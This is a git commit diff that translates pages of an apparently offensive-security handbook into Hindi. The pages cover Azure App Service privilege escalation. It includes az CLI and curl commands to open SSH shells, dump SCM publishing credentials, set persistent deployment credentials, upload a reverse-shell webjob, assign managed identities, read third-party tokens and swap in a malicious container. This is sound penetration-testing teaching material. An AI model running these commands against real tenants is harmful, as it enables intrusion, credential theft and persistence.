Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-05-09 11:19:44 +00:00
parent 1ec2899a10
commit d79d0ac81b
7 changed files with 423 additions and 789 deletions

View File

@@ -425,6 +425,7 @@
- [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md)
- [Az - Logic Apps](pentesting-cloud/azure-security/az-services/az-logic-apps.md)
- [Az - Management Groups, Subscriptions & Resource Groups](pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md)
- [Az - Misc](pentesting-cloud/azure-security/az-services/az-misc.md)
- [Az - Monitoring](pentesting-cloud/azure-security/az-services/az-monitoring.md)
- [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql.md)
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql.md)

BIN
src/images/lasttower.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

View File

@@ -4,7 +4,7 @@
## App Services
For more information about Azure App services check:
Azure App सेवाओं के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-app-services.md
@@ -12,17 +12,14 @@ For more information about Azure App services check:
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
These permissions allow to get a **SSH shell** inside a web app. They also allow to **debug** the application.
- **SSH in single command**:
ये अनुमतियाँ एक वेब ऐप के अंदर **SSH शेल** प्राप्त करने की अनुमति देती हैं। ये एप्लिकेशन को **डिबग** करने की भी अनुमति देती हैं।
- **एकल कमांड में SSH**:
```bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
```
- **Create tunnel and then connect to SSH**:
- **टनल बनाएं और फिर SSH से कनेक्ट करें**:
```bash
az webapp create-remote-connection --name <name> --resource-group <res-group>
@@ -35,152 +32,146 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
```
- **ऐप्लिकेशन को डिबग करें**:
1. VScode में Azure एक्सटेंशन इंस्टॉल करें।
2. एक्सटेंशन में Azure खाते से लॉगिन करें।
3. सब्सक्रिप्शन के अंदर सभी ऐप सेवाओं की सूची बनाएं।
4. उस ऐप सेवा का चयन करें जिसे आप डिबग करना चाहते हैं, राइट-क्लिक करें और "स्टार्ट डिबगिंग" चुनें।
5. यदि ऐप में डिबगिंग सक्षम नहीं है, तो एक्सटेंशन इसे सक्षम करने की कोशिश करेगा लेकिन आपके खाते को ऐसा करने के लिए अनुमति `Microsoft.Web/sites/config/write` की आवश्यकता है।
- **Debug the application**:
1. Install the Azure extension in VScode.
2. Login in the extension with the Azure account.
3. List all the App services inside the subscription.
4. Select the App service you want to debug, right click and select "Start Debugging".
5. If the app doesn't have debugging enabled, the extension will try to enable it but your account needs the permission `Microsoft.Web/sites/config/write` to do so.
### SCM क्रेडेंशियल्स प्राप्त करना और बेसिक ऑथेंटिकेशन सक्षम करना
### Obtaining SCM Credentials & Enabling Basic Authentication
To obtain the SCM credentials, you can use the following **commands and permissions**:
- The permission **`Microsoft.Web/sites/publishxml/action`** allows to call:
SCM क्रेडेंशियल्स प्राप्त करने के लिए, आप निम्नलिखित **कमांड और अनुमतियों** का उपयोग कर सकते हैं:
- अनुमति **`Microsoft.Web/sites/publishxml/action`** कॉल करने की अनुमति देती है:
```bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
```
ध्यान दें कि **उपयोगकर्ता नाम हमेशा समान होता है** (सिवाय FTP के, जो ऐप का नाम शुरुआत में जोड़ता है) लेकिन **पासवर्ड सभी के लिए समान होता है**
Note how the **username is always the same** (except in FTP which ads the name of the app at the beginning) but the **password is the same** for all of them.
Moreover, the **SCM URL is `<app-name>.scm.azurewebsites.net`**.
- The permission **`Microsoft.Web/sites/config/list/action`** allows to call:
इसके अलावा, **SCM URL है `<app-name>.scm.azurewebsites.net`**
- अनुमति **`Microsoft.Web/sites/config/list/action`** कॉल करने की अनुमति देती है:
```bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
```
ध्यान दें कि **क्रेडेंशियल्स वही हैं** जो पिछले कमांड में थे।
Note how the **credentials are the same** as in the previous command.
- Another option would be to **set you own creds** and use them:
- एक और विकल्प होगा कि **आप अपने खुद के क्रेड्स सेट करें** और उनका उपयोग करें:
```bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
```
फिर, आप इन क्रेडेंशियल्स का उपयोग **SCM और FTP प्लेटफार्मों** तक पहुँचने के लिए कर सकते हैं। यह स्थिरता बनाए रखने का एक शानदार तरीका भी है।
Then, you can use this credentials to **access the SCM and FTP platforms**. This is also a great way to maintain persistence.
Remember that to access the SCM platform from the **web you need to access to `<SCM-URL>/BasicAuth`**.
याद रखें कि **वेब से SCM प्लेटफार्म तक पहुँचने के लिए आपको `<SCM-URL>/BasicAuth`** पर पहुँचने की आवश्यकता है।
> [!WARNING]
> Note that every user can configure it's own credentials calling the previous command, but if the user doesn't have enough permissions to access the SCM or FTP, the credentials won't work.
- If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`):
> ध्यान दें कि हर उपयोगकर्ता पिछले कमांड को कॉल करके अपने स्वयं के क्रेडेंशियल्स कॉन्फ़िगर कर सकता है, लेकिन यदि उपयोगकर्ता के पास SCM या FTP तक पहुँचने के लिए पर्याप्त अनुमतियाँ नहीं हैं, तो क्रेडेंशियल्स काम नहीं करेंगे।
- यदि आप देखते हैं कि वे क्रेडेंशियल्स **REDACTED** हैं, तो इसका मतलब है कि आपको **SCM बेसिक ऑथेंटिकेशन विकल्प को सक्षम करने की आवश्यकता है** और इसके लिए आपको दूसरी अनुमति (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) की आवश्यकता है:
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
```
### Publish code using SCM credentials
Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.
सिर्फ वैध SCM क्रेडेंशियल्स होने पर **कोड प्रकाशित करना** संभव है App सेवा में। यह निम्नलिखित कमांड का उपयोग करके किया जा सकता है।
For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.
Then you can **publish the code** in a web app with the following command:
इस पायथन उदाहरण के लिए, आप https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart से रेपो डाउनलोड कर सकते हैं, कोई भी **परिवर्तन** कर सकते हैं और फिर **ज़िप कर सकते हैं: `zip -r app.zip .`**
फिर आप निम्नलिखित कमांड के साथ एक वेब ऐप में **कोड प्रकाशित कर सकते हैं**:
```bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
```
### Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials
The mentioned Azure permission allows to perform several interesting actions that can also be performed with the SCM credentials:
- Read **Webjobs** logs:
उल्लेखित Azure अनुमति कई दिलचस्प क्रियाएँ करने की अनुमति देती है जो SCM क्रेडेंशियल्स के साथ भी की जा सकती हैं:
- पढ़ें **Webjobs** लॉग:
```bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
@@ -188,123 +179,108 @@ az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.az
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
--user '<username>:<password>' -v
```
- Read **Webjobs** source code:
- **Webjobs** स्रोत कोड पढ़ें:
```bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
--user '<username>:<password>'
```
- Create **continuous Webjob**:
- **निरंतर Webjob** बनाएं:
```bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
```
### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.
ये अनुमतियाँ **एक प्रबंधित पहचान** को ऐप सेवा में **सौंपने** की अनुमति देती हैं, इसलिए यदि कोई ऐप सेवा पहले से ही समझौता की गई थी, तो यह हमलावर को ऐप सेवा में नई प्रबंधित पहचानों को सौंपने और **अधिकारों को बढ़ाने** की अनुमति देगा।
```bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
```
### Microsoft.Web/sites/config/list/action
This permission allows to list the **connection strings** and the **appsettings** of the App service which might contain sensitive information like database credentials.
यह अनुमति **कनेक्शन स्ट्रिंग्स** और App सेवा के **ऐपसेटिंग्स** को सूचीबद्ध करने की अनुमति देती है, जिसमें संवेदनशील जानकारी जैसे डेटाबेस क्रेडेंशियल्स हो सकते हैं।
```bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
```
### Read Configured Third Party Credentials
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
निम्नलिखित कमांड चलाकर **तीसरे पक्ष के क्रेडेंशियल्स** को पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर किए गए हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
Here you have some command examples to check the tokens:
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Update App Code from the source
- If the configured source is a third-party provider like Github, BitBucket or an Azure Repository, you can **update the code** of the App service by compromising the source code in the repository.
- If the app is configured using a **remote git repository** (with username and password), it's possible to get the **URL and basic auth credentials** to clone and push changes with:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- Using the permission **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- If the app is configured to use a **local git repository**, it's possible to **clone the repository** and **push changes** to it:
- Using the permission **`Microsoft.Web/sites/sourcecontrols/read`**: You can get the URL of the git repo with `az webapp deployment source show --name <app-name> --resource-group <res-group>`, but it's going to be the same as the the SCM URL of the app with the path `/<app-name>.git` (e.g. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`).
- To get the SCM credential you need the permission:
- **`Microsoft.Web/sites/publishxml/action`**: Then run `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`.
- **`Microsoft.Web/sites/config/list/action`**: Then run `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
- यदि कॉन्फ़िगर किया गया स्रोत एक तृतीय-पक्ष प्रदाता है जैसे Github, BitBucket या Azure Repository, तो आप **कोड अपडेट** कर सकते हैं App सेवा का स्रोत कोड को समझौता करके।
- यदि ऐप को **रिमोट गिट रिपॉजिटरी** (यूजरनेम और पासवर्ड के साथ) का उपयोग करके कॉन्फ़िगर किया गया है, तो **URL और बेसिक ऑथ क्रेडेंशियल्स** प्राप्त करना संभव है ताकि क्लोन और परिवर्तन पुश किए जा सकें:
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name <app-name> --resource-group <res-group>`
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/config/list/action`**:
- `az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>`
- `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- यदि ऐप को **लोकल गिट रिपॉजिटरी** का उपयोग करने के लिए कॉन्फ़िगर किया गया है, तो **रिपॉजिटरी क्लोन करना** और **परिवर्तन पुश करना** संभव है:
- अनुमति का उपयोग करते हुए **`Microsoft.Web/sites/sourcecontrols/read`**: आप गिट रिपॉजिटरी का URL प्राप्त कर सकते हैं `az webapp deployment source show --name <app-name> --resource-group <res-group>`, लेकिन यह ऐप के SCM URL के समान होगा जिसमें पथ `/<app-name>.git` है (जैसे `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`)
- SCM क्रेडेंशियल प्राप्त करने के लिए आपको अनुमति की आवश्यकता है:
- **`Microsoft.Web/sites/publishxml/action`**: फिर चलाएँ `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`
- **`Microsoft.Web/sites/config/list/action`**: फिर चलाएँ `az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>`
> [!WARNING]
> Note that having the permission `Microsoft.Web/sites/config/list/action` and the SCM credentials it's always possible to deploy into a webapp (even if it was configured to use a third-party provider) as mentioned in a previous section.
> ध्यान दें कि अनुमति `Microsoft.Web/sites/config/list/action` और SCM क्रेडेंशियल्स होने पर हमेशा एक वेब ऐप में तैनात करना संभव है (भले ही इसे तृतीय-पक्ष प्रदाता का उपयोग करने के लिए कॉन्फ़िगर किया गया हो) जैसा कि पिछले अनुभाग में उल्लेख किया गया है।
> [!WARNING]
> Note that having the permissions below it's also **possible to execute an arbitrary container** even if the webapp was configured differently.
> ध्यान दें कि नीचे दी गई अनुमतियों के साथ यह भी **एक मनमाना कंटेनर निष्पादित करना संभव है** भले ही वेब ऐप को अलग तरीके से कॉन्फ़िगर किया गया हो।
### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read`
This is the set of permissions that allows to **modify the container used** by a webapp. An attacker could abuse it to make a webapp execute a malicious container.
यह अनुमतियों का सेट है जो **कंटेनर को संशोधित करने** की अनुमति देता है जिसका उपयोग एक वेब ऐप द्वारा किया जाता है। एक हमलावर इसका दुरुपयोग करके एक वेब ऐप को एक दुर्भावनापूर्ण कंटेनर निष्पादित करने के लिए मजबूर कर सकता है।
```bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,31 +4,32 @@
## App Service Basic Information
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है:
- फ्री और शेयर किए गए स्तरों में ऐप्स **शेयर किए गए VMs** पर चलते हैं
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशिष्ट VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं**
- आइसोलेटेड स्तर **विशिष्ट VMs पर चलते हैं जो विशिष्ट वर्चुअल नेटवर्क पर होते हैं**, ऐप्स के अलगाव में सुधार करते हैं।
- फ्री और शेयर किए गए स्तरों में ऐप्स **शेयर किए गए VMs** पर चलते हैं
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप्स **विशेष VMs पर चलते हैं जो केवल उसी App Service योजना में ऐप्स द्वारा साझा किए जाते हैं**
- आइसोलेटेड स्तर **विशेष VMs पर विशेष वर्चुअल नेटवर्क पर चलते हैं**, जो ऐप्स के अलगाव में सुधार करते हैं।
> [!WARNING]
> ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है**।
> ध्यान दें कि **कोई भी** उन अलगावों में से **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड, या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ा सकता है**।
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन होते हैं:
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुकता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है।
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक डेटाबेस के साथ एक ऐप बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए एक Azure Cache बनाने की भी अनुमति देता है।
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया है, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और जब एक अनुरोध प्राप्त होगा तो फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला एक उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से बंद हो जाता है।
